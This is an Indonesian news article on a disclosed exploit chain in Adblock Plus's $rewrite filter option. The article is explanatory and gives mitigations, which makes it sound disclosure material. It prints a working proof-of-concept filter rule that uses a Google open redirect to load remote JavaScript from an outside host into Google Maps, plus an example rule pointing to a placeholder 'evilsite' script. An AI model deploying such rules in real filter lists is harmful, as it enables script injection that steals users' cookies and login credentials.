Kali ini ditemukan bahwa ekstensi browser Adblock Plus dapat dieksploitasi untuk menjalankan kode berbahaya. Selain Adblock Plus, ekstensi lainnya, yaitu AdBlock juga dinyatakan bahwa dapat dieksploitasi untuk membuat filter yang bertujuan menginjeksikan skrip remote ke dalam situs web.
Dengan pemblokir iklan yang memiliki basis pengguna lebih dari 10 juta pemasangan, jika skrip berbahaya diinjeksikan akan berdampak besar karena mereka dapat melakukan aktivitas seperti mencuri cookie, kredensial login, menyebabkan pengalihan halaman, atau hal bahaya lainnya.
Opsi filter $rewrite
Bagi yang tidak familiar dengan cara kerja pemblokir iklan, mereka menggunakan daftar URL yang terkait dengan iklan dan perilaku berbahaya juga biasanya dikelola oleh tim kecil orang atau bahkan satu orang. Ketika daftar ini dimuat oleh ekstensi pemblokiran iklan, seperti Adblock Plus, ekstensi tersebut akan mencegah browser untuk terhubung ke URL yang tercantum dan dengan demikian iklan atau skrip berbahaya tidak dapat dimuat.
Sebagai contoh, di bawah ini adalah daftar filter untuk daftar pemblokiran iklan populer yang disebut EasyList.
Ketika Adblocker Plus 3.2 dirilis pada 2018, opsi daftar filter baru yang disebut $rewrite ditambahkan. Opsi ini memungkinkan pengelola daftar untuk mengganti permintaan web yang cocok dengan regular expression tertentu dengan URL lain.
Satu-satunya peringatan adalah bahwa string pengganti harus berupa URL relatif, yang berarti tidak mengandung nama host, dan ketika ditulis ulang harus dalam domain asal yang sama dengan permintaan asli.
Misalnya, aturan filter berikut akan menyebabkan semua permintaan untuk example.com/ad.gif diganti dengan example.com/puppies.gif. Jadi, alih-alih iklan ditampilkan pada halaman, Anda akan melihat gambar-gambar anak anjing yang lucu.
||example.com/ad.gif$rewrite=/puppies.gif
Di sisi lain, karena URL yang ditulis ulang harus memiliki asal yang sama dengan URL asli dan harus merupakan URL relatif, aturan $rewrite berikut tidak akan berfungsi.
||example.com/ads.js$rewrite=https://evilsite.tk/bwahaha.js
Untuk membuat $rewrite lebih sulit untuk dieksploitasi, opsi filter ini tidak akan bekerja melawan permintaan jenis SCRIPT, SUBDOCUMENT, OBJECT dan OBJECT_SUBREQUEST.
Jadi, jika skrip berbahaya harus berada di situs yang sama, harus ditulis ulang ke URL relatif, dan tidak dapat dimuat melalui tag skrip, bagaimana pengelola daftar dapat mengeksploitasinya?
Peneliti keamanan, Armin Sebastian, baru-baru ini menjelaskan bahwa dalam kondisi tertentu adalah mungkin bagi pengelola filter pemblokir iklan untuk membuat aturan yang bisa menginjeksi skrip remote ke situs tertentu.
Untuk melakukan ini, diperlukan untuk menemukan situs yang memungkinkan skrip untuk memuat dari domain apa pun, open redirect, dan menggunakan XMLHttpRequest atau Fetch untuk mengunduh skrip yang akan dieksekusi. Ini tidak terlalu sulit ditemukan, karena Sebastian menggunakan Google Maps untuk Proof of Concept nya.
Dua kunci teka-tekinya adalah penggunaan XMLHttpRequest atau Fetch untuk mengunduh skrip dan open redirect.
Ini karena permintaan menggunakan XMLHttpRequest atau Fetch untuk mengunduh skrip remote agar eksekusi tidak gagal ketika menggunakan opsi $rewrite. Selain itu, open redirect sama pentingnya karena memungkinkan untuk membaca skrip dengan XMLHttpRequest dari situs remote, sementara masih tampak berasal dari sumber yang sama.
Sebagai contoh, Sebastian menggunakan Google Maps, yang menggunakan XMLHttpRequest untuk memuat skrip dan karena google.com memiliki open redirect sebagai bagian dari halaman hasil pencarian. Ini memungkinkannya untuk membuat rantai ekploitasi menggunakan opsi filter $rewrite dengan open redirect untuk membaca skrip remote seperti yang ditunjukkan di bawah ini.
/^https://www.google.com/maps/_/js/k=.*/m=pw/.*/rs=.*/$rewrite=/search?hl=en-US&source=hp&biw=&bih=&q=majestic-ramsons.herokuapp.com&btnI=I%27m+Feeling+Lucky&gbv=1
Dengan aturan di atas, ketika mengunjungi www.google.com/maps/, aturan filter akan menggunakan open redirect Google untuk membaca konten dari https://majestic-ramsons.herokuapp.com/.
Karena url open redirect memiliki asal yang sama, string akan diizinkan untuk dibaca dan dieksekusi sebagai JavaScript, yang akan menyebabkan peringatan ditampilkan seperti terlihat di bawah.
Sebastian telah melaporkan ini ke Google, tetapi jawaban mereka adalah pengalihan terbuka merupakan “Intended behavior“.
“Google telah diberitahu tentang eksploitasi, tetapi laporan itu ditutup sebagai “Intended behavior”, karena mereka menganggap masalah keamanan potensial hanya ada di ekstensi browser yang disebutkan. Ini adalah kesimpulan yang disayangkan, karena eksploitasi terdiri dari serangkaian ekstensi browser dan kerentanan layanan web yang telah dirantai bersama.”
Untuk mengurangi eksploitasi berantai ini, Sebastian merekomendasikan agar situs web memanfaatkan header Kebijakan Keamanan Konten dan opsi connect-src untuk menentukan daftar putih situs tempat skrip dapat diambil.
“Eksploitasi dapat dikurangi di layanan web yang terkena dampak dengan memasukkan nama asal yang diketahui menggunakan header CSP connect-src, atau dengan menghilangkan server-side open redirect.”
Meskipun ada banyak cara untuk memodifikasi daftar filter, Sebastian mengatakan bahwa perhatian utamanya adalah “operator daftar filter yang mungkin melakukan serangan bertarget yang sulit dideteksi”.
Karena banyak pengelola daftar filter adalah sukarelawan, bisa jadi mereka akan menambahkan filter berbahaya karena berbagai alasan.
Sebagai contoh, Sebastian menjelaskan bahwa pada tahun 2018 seorang pengelola daftar menambahkan filter karena alasan politik yang memblokir berbagai situs web union di Finlandia yang melakukan protes.
Perlu juga dicatat bahwa sementara ekstensi hanya memiliki sedikit daftar filter, ada banyak lagi yang dikelola oleh pihak ketiga yang dapat ditambahkan. Tidaklah mengherankan untuk menemukan bahwa daftar populer dibeli dan kemudian dimodifikasi untuk memasukkan filter berbahaya atau untuk pengelola yang tertarik dengan uang untuk membuat perubahan sementara dan mengembalikannya ke semula sebelum ada orang yang tahu.